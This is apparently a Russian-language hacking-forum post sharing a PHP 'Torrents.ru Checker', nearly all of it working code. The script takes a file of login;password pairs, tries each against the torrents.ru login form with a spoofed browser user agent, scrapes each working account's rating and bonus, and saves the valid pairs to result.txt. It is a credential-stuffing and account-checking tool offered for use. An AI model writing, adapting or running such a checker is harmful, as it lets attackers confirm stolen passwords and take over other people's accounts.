|
Познающий
Регистрация: 08.02.2008
Сообщений: 65
Провел на форуме: 1250736
Репутация:
55
|
|
torrents ru чекер.
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Torrents.ru Checker</title> <style type="text/css"> <!-- body { background-color: #333333; } .table { border-top-color: #000000; border-right-color: #000000; border-bottom-color: #000000; border-left-color: #000000; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #FFCC00; } .style1 { font-family: Verdana, Arial, Helvetica, sans-serif; color: #CCCCCC; } --> </style> </head> <body> <h2 align="center" class="style1">:: Torrents.ru Checker ::</h2> <table width="50%" border="1" align="center" class="table"> <tr> <td>Login</td> <td>Password</td> <td>Rate</td> <td>Bonus</td> </tr> <tr> <?php set_time_limit(0); $url = 'http://torrents.ru/forum/login.php'; $ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4'; $ref = 'http://torrents.ru/forum/index.php'; $fp = fopen('result.txt','a'); $accs = file('accs.txt'); foreach ($accs as $acc) { list($login,$pass) = explode(';',$acc); $post = 'login_username='.trim($login).'&login_password='.trim($pass).'&login=%C2%F5%EE%E4'; $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_COOKIEJAR, './cook'); curl_setopt($ch, CURLOPT_REFERER, $ref); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); $res = curl_exec($ch); $regxp = "#<a href=\"profile\.php\?mode=viewprofile\&u=([0-9]{1,8})\"><b class=\"med\">$login#"; if(preg_match($regxp, $res, $matches)) { echo '<td>'.$login.'</b> ID:'.$matches[1].'</td>'; echo str_pad('',1024)."\n"; flush(); echo '<td>'.$pass.'</td>'; echo str_pad('',1024)."\n"; flush(); $url_cp = 'http://torrents.ru/forum/profile.php?mode=viewprofile&u='.$matches[1]; $ch = curl_init($url_cp); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_COOKIEFILE, './cook'); curl_setopt($ch, CURLOPT_REFERER, $ref); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); $res = curl_exec($ch); if(preg_match('#<b class=\"gen\">([0-9]{1,3}\.[0-9]{1,3})<\/b>#', $res, $matches)) { $rate = $matches[1]; echo '<td>Рейтинг:<b> '.$rate.'</b></td>'; echo str_pad('',1024)."\n"; flush(); } else { echo "<td>Произошла ошибка =(</td>"; } if(preg_match('#<td id=\"u_up_bonus\"><span class=\"editable bold\">(.*?)<\/span>#', $res, $matches)) { $bonus = str_replace(' ','',$matches[1]); echo str_pad('',1024)."\n"; flush(); echo '<td>Бонус:<b> '.$bonus.'</b></td></tr>'; echo str_pad('',1024)."\n"; flush(); } else { echo '<td>Oшибка сценария</td></tr>'; echo str_pad('',1024)."\n"; flush(); } } else { echo '<td>Залогиниться не удалось =(</td><td>=(</td><td>=(</td><td>=(</td></tr>'; } fputs($fp, trim($login).':'.trim($pass).' Rate: '.$rate .' Bonus: '.$bonus."\r\n"); } fclose($fp); ?> </table> </body> </html>
Скрипт использует либу cURL, для работы нужны логин;пасс список в файле accs.txt, результат выводин в браузер и .тхт файл result.txt, вида:
логин:пароль:рейтинг:бонус
Последний раз редактировалось MrTrick; 26.02.2009 в 22:35..
|